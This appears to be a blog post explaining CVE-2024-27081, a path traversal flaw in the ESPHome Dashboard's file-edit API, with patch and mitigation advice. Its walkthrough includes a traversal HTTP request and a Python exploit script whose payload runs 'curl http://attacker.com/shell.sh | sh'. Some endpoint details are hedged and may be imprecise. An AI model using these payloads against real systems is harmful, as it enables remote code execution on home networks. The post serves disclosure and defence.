ESPHome is a popular system to control and automate home devices powered by ESP8266 and ESP32 microcontrollers. Many hobbyists and enthusiasts use it because it's easy to integrate with Home Assistant and runs on simple, affordable hardware.

Recently, a major security issue was found and tracked as CVE-2024-27081. This post breaks down what happened, how it works, how exploits look, and how you can protect yourself.

What is CVE-2024-27081?

CVE-2024-27081 is a security misconfiguration in ESPHome’s Dashboard web interface (component: edit configuration file API). In version 2023.12.9 (command line installed version), an authenticated user could read and write any file within the ESPHome configuration directory. That opens the door for remote code execution (RCE)—a severe risk.

Why does it matter?

If an attacker has *any* login on your ESPHome dashboard, they could plant backdoors or compromise your entire ESP device, potentially opening up your whole home network.

Affected:

ESPHome v2023.12.9 (CLI installation, dashboard component)

Patched:

ESPHome v2024.2.1

Official advisory:
- GHSA-mq7j-f29m-57vj

How the Vulnerability Works

ESPHome Dashboard lets users create, modify, and flash device configurations through a web browser. This is really handy, but in v2023.12.9, the API endpoint for editing configuration files wasn’t checking paths or file names strictly enough.

Read any file under the config directory—even sensitive ones.

- Write/replace any file, like Python scripts, YAML configs, or even device keys.

The worst: They could upload Python or YAML that executes next time ESPHome runs, turning it into their personal malware launcher.

Exploit Walkthrough: How Attackers Could Use It

Let’s see a simplified attack, for educational purposes only.

Assume the attacker has authenticated access, e.g., a leaked or weak password.

The ESPHome dashboard exposes a REST API. The vulnerable endpoint is typically

POST /edit (or similar, depending on your version)

Example vulnerable HTTP request

POST /edit
Host: 192.168.1.10:6052
Authorization: Bearer [valid_token]
Content-Type: application/json

{
  "path": "../../somefile.py",
  "content": "import os\nos.system('touch /tmp/pwned')"
}

> Trick used: The "../" parts in "path" allow writing *outside* normal files by escaping the expected directory.

The attacker could write a new file like ../evil.py with

# evil.py
import os
os.system('curl http://attacker.com/evil.sh | sh')

Step 3: Trigger Code Execution

If ESPHome is set to auto-run scripts inside its config directory, or the attacker exploits another config to run this file, code on your home network runs with the privileges of the ESPHome service account.

Here’s a real-world Python snippet for the exploit

import requests

target = "http://192.168.1.10:6052/edit";
token = "YOUR_VALID_TOKEN"

malicious_code = "import os\nos.system('curl http://attacker.com/shell.sh | sh')"

payload = {
    "path": "../../evil.py",
    "content": malicious_code
}

headers = {
    "Authorization": f"Bearer {token}"
}

response = requests.post(target, headers=headers, json=payload)
print(response.status_code, response.text)

Upgrade ASAP using

pip install --upgrade esphome

Regenerate access tokens.

- Change weak/guessed passwords.

References

- ESPHome Security Advisory (GitHub)
- NVD Entry: CVE-2024-27081
- ESPHome Dashboard Documentation

Conclusion

CVE-2024-27081 is a textbook example of why even “user-friendly” home automation tools need constant attention to security. If you use ESPHome, always stay up to date and never trust a public-facing dashboard. Update to v2024.2.1 or above immediately for safety.

Stay smart, stay safe!

*Feel free to share this post with your home automation groups or anyone running ESPHome!*

Timeline

Published on: 02/26/2024 17:15:10 UTC
Last modified on: 02/26/2024 22:10:40 UTC